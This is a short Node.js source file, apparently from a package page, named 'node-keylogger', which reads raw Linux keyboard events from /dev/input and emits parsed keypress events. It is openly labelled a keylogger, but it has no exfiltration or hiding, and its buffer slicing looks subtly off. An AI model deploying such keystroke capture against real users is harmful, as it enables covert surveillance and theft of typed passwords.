node-keylogger
Version:
Simple Node.js keylogger using event emitters
58 lines (47 loc) • 1.31 kB
JavaScript
var fs = require('fs');
var EventEmitter = require('events').EventEmitter;
var toKey = require('./keycodes');
var EVENT_TYPES = ['keyup', 'keypress', 'keydown'];
var EV_KEY = 1;
function Keyboard(dev) {
this.dev = dev || 'event0';
this.bufferSize = 24;
this.buffer = new Buffer(this.bufferSize);
this.data = fs.createReadStream('/dev/input/' + this.dev);
this.onRead();
}
Keyboard.prototype = Object.create(EventEmitter.prototype, {
constructor: { value: Keyboard }
});
Keyboard.prototype.onRead = function onRead() {
var _this = this;
var self = this;
this.data.on('data', function (data) {
_this.buffer = data.slice(24);
var event = parse(_this, _this.buffer);
if (event) {
event.dev = self.dev;
self.emit(event.type, event);
}
});
this.data.on('error', function (err) {
self.emit('error', err);
throw new Error(err);
});
};
function parse(input, buffer) {
var event = undefined;
if (buffer.readUInt16LE(16) === EV_KEY) {
event = {
timeS: buffer.readUInt16LE(0),
timeMS: buffer.readUInt16LE(8),
keyCode: buffer.readUInt16LE(18)
};
event.keyId = toKey[event.keyCode];
event.type = EVENT_TYPES[buffer.readUInt32LE(20)];
}
return event;
}
Keyboard.Keys = toKey;
module.exports = Keyboard;
;